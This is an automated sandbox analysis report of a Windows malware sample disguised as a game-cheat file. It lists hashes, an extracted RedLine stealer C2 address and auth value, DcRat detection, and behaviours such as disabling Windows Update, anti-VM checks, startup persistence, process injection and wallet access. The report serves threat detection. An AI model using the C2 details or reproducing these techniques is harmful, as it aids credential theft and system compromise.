Resubmissions
29-12-2022 09:52
221229-lv4v6sfh7v 10Analysis
-
max time kernel
1799s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29-12-2022 09:52
Static task
static1
Behavioral task
behavioral1
Sample
RUNNING FROM THE INTERNET - FREE GUI - AUTO SPIN & MORE!.txt
Resource
win10v2004-20221111-en
General
-
Target
RUNNING FROM THE INTERNET - FREE GUI - AUTO SPIN & MORE!.txt
-
Size
103B
-
MD5
5755c57c7d3b7304b42015c5dd34e5be
-
SHA1
923d617a8a76195879a0eebc8a9794e00378450f
-
SHA256
c66de09481480d5da5ab95db295295e9b36bc2e004e72c46a8486abc72df8f10
-
SHA512
0e3f3f38b76d59a124b5b89273ec5390ec0493cfa5c476043c5fc94e7da56a3cbb2f64bf750fd3f0d1b688c16f22f94dc46dd27fb078943e5847019f09b66c7d
Malware Config
Extracted
C:\Program Files\WinRAR\Rar.txt
-n@inclist.txt
Extracted
C:\Program Files\WinRAR\WhatsNew.txt
https
http
http://weirdsgn.com
http://icondesignlab.com
https://rarlab.com/themes/WinRAR_Classic_48x36.theme.rar
Extracted
C:\Users\Admin\AppData\Roaming\videos\credits.html
ooura@kurims.kyoto-u.ac.jp
victoria.zhislina@intel.com
<marijnh@gmail.com>
mvulin@mips.com
socovaj@mips.com
zoranl@mips.com
freetype@nongnu.org
freetype-devel@nongnu.org
jloup@gzip.org
madler@alumni.caltech.edu
<breadbox@muppetlabs.com>
<bence.nagy@gmail.com>
bataak@gmail.com
<provos@citi.umich.edu>
<dugsong@monkey.org>
<Todd.Miller@courtesan.com>
<mike@datanerds.net>
<maxim.yegorushkin@gmail.com>
<saari@netscape.com>
"newlib@sourceware.org"
nicolas.roussel@inria.fr
https://www.apache.org/licenses/
https://www.apache.org/licenses/LICENSE-2.0
http://www.apache.org/licenses/
http://www.apache.org/licenses/LICENSE-2.0
http://mozilla.org/MPL/2.0/
http://www.torchmobile.com/
http://www.mozilla.org/MPL/
http://source.android.com/
http://source.android.com/compatibility
https://github.com/mit-plv/fiat-crypto/blob/master/AUTHORS
http://www.opensource.org/licenses/bsd-license.php
http://www.freetype.org
http://www.unicode.org/copyright.html
http://www.tex-tipografia.com/spanish_hyphen.html
https://llvm.org/docs/DeveloperPolicy.html#legacy
http://llvm.org
http://sourceware.org/newlib/docs.html
http://sourceware.org/ml/newlib/
https://opensource.org/licenses/BSD-3-Clause
http://website-archive.mozilla.org/www.mozilla.org/mpl/MPL/NPL/1.1/
http://www.mozilla.org/NPL/
http://scripts.sil.org/OFL
Extracted
redline
82.115.223.45:81
-
auth_value
e26fd3a6dafd251d055a64ac67f72836
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Modifies system executable filetype association 2 TTPs 8 IoCs
Processes:
uninstall.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe -
Process spawned unexpected child process 39 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2504 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2816 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5672 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5628 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3808 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4492 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4460 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4688 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2920 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4668 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 112 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5684 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3764 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3492 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6044 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5676 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5216 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5608 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4916 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4996 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1848 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5012 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5444 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5716 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5320 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2112 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5476 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1468 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5028 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5468 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4648 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2228 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4868 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5372 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4556 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4124 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 924 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5816 3444 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5132 3444 schtasks.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Processes:
resource yara_rule behavioral1/memory/4420-491-0x0000000000730000-0x00000000008F6000-memory.dmp dcrat -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
UserOOBE.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ UserOOBE.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 486 6020 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
Processes:
CommSurrogate.execomSvc.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts CommSurrogate.exe File opened for modification C:\Windows\System32\drivers\etc\hosts comSvc.exe -
Executes dropped EXE 64 IoCs
Processes:
ChromeRecovery.exewinrar-x64-611.exeuninstall.exeWinRAR.exe888 RAT Private .exeflagx.exeObfuscator.exeAut2exe.exeupx.exeUUFVWP.exeUUFVWP.exeUUFVWP.exeUUFVWP.exeUUFVWP.exeUUFVWP.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exeWinRAR.exevideos.exevideos.exeBuilder.exevideos.exevideos.exevideos.exevideos.exevideos.exenotification_helper.exenotification_helper.exeBuilder.exeBuilder.exeStub.exeBuilder.exeBuilder.exeBuilder.exeCommHost.exeCommSurrogate.execomSvc.exevideos.execomSvc.execomSvc.execsrss.exeRegistry.exeWinRAR.exeDORK PREMIUM PACK.execrack.execrack.exepid process 4892 ChromeRecovery.exe 4028 winrar-x64-611.exe 2320 uninstall.exe 460 WinRAR.exe 3148 888 RAT Private .exe 4604 flagx.exe 1796 Obfuscator.exe 4724 Aut2exe.exe 2120 upx.exe 308 UUFVWP.exe 1160 UUFVWP.exe 3480 UUFVWP.exe 1188 UUFVWP.exe 4168 UUFVWP.exe 4392 UUFVWP.exe 4796 videos.exe 4924 videos.exe 4788 videos.exe 4960 videos.exe 4440 videos.exe 2356 videos.exe 3828 videos.exe 3300 videos.exe 4164 videos.exe 1844 videos.exe 1940 videos.exe 4436 videos.exe 3556 videos.exe 3508 videos.exe 1548 videos.exe 4784 videos.exe 4068 videos.exe 976 videos.exe 5192 videos.exe 5264 videos.exe 5536 WinRAR.exe 5608 videos.exe 5620 videos.exe 6076 Builder.exe 5472 videos.exe 1328 videos.exe 4916 videos.exe 924 videos.exe 4076 videos.exe 3724 notification_helper.exe 1560 notification_helper.exe 1456 Builder.exe 4148 Builder.exe 4640 Stub.exe 5216 Builder.exe 5444 Builder.exe 2112 Builder.exe 2136 CommHost.exe 2372 CommSurrogate.exe 4420 comSvc.exe 3608 videos.exe 4756 comSvc.exe 5604 comSvc.exe 3756 csrss.exe 4960 Registry.exe 5960 WinRAR.exe 5556 DORK PREMIUM PACK.exe 1992 crack.exe 2688 crack.exe -
Registers COM server for autorun 1 TTPs 3 IoCs
Processes:
uninstall.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ = "C:\\Program Files\\WinRAR\\rarext.dll" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32 uninstall.exe -
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule behavioral1/memory/3148-148-0x0000000010000000-0x00000000100BB000-memory.dmp upx behavioral1/memory/3148-219-0x0000000010000000-0x00000000100BB000-memory.dmp upx behavioral1/memory/2120-269-0x0000000000400000-0x000000000057E000-memory.dmp upx behavioral1/memory/2120-270-0x0000000000400000-0x000000000057E000-memory.dmp upx behavioral1/memory/308-271-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/308-272-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/1160-273-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/308-274-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/3148-373-0x0000000010000000-0x00000000100BB000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
UserOOBE.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion UserOOBE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion UserOOBE.exe -
Checks computer location settings 2 TTPs 15 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
winrar-x64-611.exevideos.execomSvc.exeStub.exenw.exenw.exevideos.exeCommHost.exeWScript.exenw.exe888 RAT Private .exevideos.exevideos.exeDORK PREMIUM PACK.exenw.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation winrar-x64-611.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation comSvc.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation Stub.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation CommHost.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation 888 RAT Private .exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation DORK PREMIUM PACK.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe -
Drops startup file 4 IoCs
Processes:
cscript.execscript.execrack.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\videos.lnk cscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\videos.lnk cscript.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe crack.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe crack.exe -
Loads dropped DLL 64 IoCs
Processes:
888 RAT Private .exeUUFVWP.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exevideos.exepid process 2584 3148 888 RAT Private .exe 3148 888 RAT Private .exe 3148 888 RAT Private .exe 308 UUFVWP.exe 3148 888 RAT Private .exe 4796 videos.exe 4924 videos.exe 4924 videos.exe 4924 videos.exe 4788 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4440 videos.exe 4440 videos.exe 4440 videos.exe 2356 videos.exe 2356 videos.exe 2356 videos.exe 3828 videos.exe 3828 videos.exe 3828 videos.exe 3828 videos.exe 3300 videos.exe 3300 videos.exe 3300 videos.exe 4164 videos.exe 1844 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 4436 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 4436 videos.exe 4436 videos.exe 3556 videos.exe 3556 videos.exe 3556 videos.exe 3508 videos.exe 3508 videos.exe 3508 videos.exe 3508 videos.exe 1548 videos.exe 1548 videos.exe 1548 videos.exe 4784 videos.exe 4068 videos.exe 976 videos.exe 976 videos.exe 4068 videos.exe 976 videos.exe 4068 videos.exe -
Uses the VBS compiler for execution 1 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
msedge.exemsedge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
UserOOBE.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UserOOBE.exe -
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
cmd.execmd.execscript.execscript.exedescription ioc process File opened (read-only) \??\E: cmd.exe File opened (read-only) \??\E: cmd.exe File opened (read-only) \??\E: cscript.exe File opened (read-only) \??\E: cscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
AutoIT Executable 14 IoCs
AutoIT scripts compiled to PE executables.
Processes:
resource yara_rule behavioral1/memory/3148-143-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-145-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-149-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-152-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-155-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-161-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-169-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-180-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-186-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-194-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-206-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/308-271-0x0000000000400000-0x00000000004E8000-memory.dmp autoit_exe behavioral1/memory/308-272-0x0000000000400000-0x00000000004E8000-memory.dmp autoit_exe behavioral1/memory/308-274-0x0000000000400000-0x00000000004E8000-memory.dmp autoit_exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
UserOOBE.exepid process 4400 UserOOBE.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
Builder.exeBuilder.exeBuilder.exeBuilder.exeBuilder.exeBuilder.exedescription pid process target process PID 6076 set thread context of 3672 6076 Builder.exe vbc.exe PID 1456 set thread context of 1420 1456 Builder.exe vbc.exe PID 4148 set thread context of 3132 4148 Builder.exe vbc.exe PID 5216 set thread context of 788 5216 Builder.exe vbc.exe PID 5444 set thread context of 4452 5444 Builder.exe vbc.exe PID 2112 set thread context of 1228 2112 Builder.exe vbc.exe -
Drops file in Program Files directory 64 IoCs
Processes:
winrar-x64-611.exeCommSurrogate.execomSvc.exesetup.exeelevation_service.exeuninstall.exedescription ioc process File opened for modification C:\Program Files\WinRAR winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExt32.dll winrar-x64-611.exe File created C:\Program Files\Google\Chrome\updaterload.exe CommSurrogate.exe File opened for modification C:\Program Files\7-Zip\Lang\Registry.exe comSvc.exe File opened for modification C:\Program Files\WinRAR\License.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\Order.htm winrar-x64-611.exe File created C:\Program Files\WinRAR\Default.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Default.SFX winrar-x64-611.exe File created C:\Program Files\WinRAR\WinCon64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\Windows Mail\RCX2933.tmp comSvc.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\b75acc1b-9172-4d6d-8e33-4f29896a0e81.tmp setup.exe File opened for modification C:\Program Files\WinRAR\Descript.ion winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\7zxa.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\WinCon.SFX winrar-x64-611.exe File created C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe comSvc.exe File created C:\Program Files\Windows Sidebar\Shared Gadgets\7a73b78f679a6f comSvc.exe File opened for modification C:\Program Files\Windows Mail\comSvc.exe comSvc.exe File created C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe elevation_service.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\_metadata\verified_contents.json elevation_service.exe File created C:\Program Files\WinRAR\RarFiles.lst winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarFiles.lst winrar-x64-611.exe File created C:\Program Files\WinRAR\UnRAR.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinRAR.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinRAR.chm winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\ReadMe.txt winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WhatsNew.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtPackage.msix winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png winrar-x64-611.exe File created C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe comSvc.exe File created C:\Program Files\Uninstall Information\chrome.exe comSvc.exe File opened for modification C:\Program Files\7-Zip\Lang\RCX42E6.tmp comSvc.exe File created C:\Program Files\WinRAR\License.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\7zxa.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\Resources.pri winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Default64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinCon.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Zip.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Zip64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Uninstall.lst winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExt32.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png winrar-x64-611.exe File created C:\Program Files\WinRAR\WinRAR.chm winrar-x64-611.exe File created C:\Program Files\WinRAR\Descript.ion winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Rar.exe winrar-x64-611.exe File created C:\Program Files\WinRAR\Uninstall.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtPackage.msix winrar-x64-611.exe File created C:\Program Files\Uninstall Information\7a73b78f679a6f comSvc.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\RCX357F.tmp comSvc.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221229111302.pma setup.exe File created C:\Program Files\WinRAR\rarnew.dat uninstall.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe elevation_service.exe File opened for modification C:\Program Files\WinRAR\Rar.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\Uninstall.lst winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtInstaller.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Uninstall.exe winrar-x64-611.exe File created C:\Program Files\WinRAR\WinRAR.exe winrar-x64-611.exe File created C:\Program Files\WinRAR\Zip64.SFX winrar-x64-611.exe File created C:\Program Files\7-Zip\Lang\ee2ad38f3d4382 comSvc.exe File created C:\Program Files\WinRAR\RarExt.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png winrar-x64-611.exe File opened for modification C:\Program Files\Windows Mail\RCX29E0.tmp comSvc.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe comSvc.exe File opened for modification C:\Program Files\Windows Sidebar\Shared Gadgets\RCX3FD7.tmp comSvc.exe -
Drops file in Windows directory 5 IoCs
Processes:
comSvc.exedescription ioc process File opened for modification C:\Windows\Containers\serviced\RCX2C61.tmp comSvc.exe File opened for modification C:\Windows\Containers\serviced\RCX2CEF.tmp comSvc.exe File opened for modification C:\Windows\Containers\serviced\videos.exe comSvc.exe File created C:\Windows\Containers\serviced\videos.exe comSvc.exe File created C:\Windows\Containers\serviced\ebc794afde9c8a comSvc.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 4412 sc.exe 4112 sc.exe 4692 sc.exe 5720 sc.exe 4068 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 9 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 548 6076 WerFault.exe Builder.exe 5428 1456 WerFault.exe Builder.exe 632 4148 WerFault.exe Builder.exe 5708 5216 WerFault.exe Builder.exe 5012 5444 WerFault.exe Builder.exe 5320 2112 WerFault.exe Builder.exe 6092 4420 WerFault.exe comSvc.exe 2272 2620 WerFault.exe Qt5Core.dll 5944 3132 WerFault.exe libEGL32.bin -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
chrome.exetaskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_MSFT&PROD_VIRTUAL_DISK\2&1F4ADFFE&0&000003 chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000003\HardwareID chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000003\Service chrome.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_MSFT&PROD_VIRTUAL_DISK\2&1F4ADFFE&0&000004 chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000004\Service chrome.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key value queried 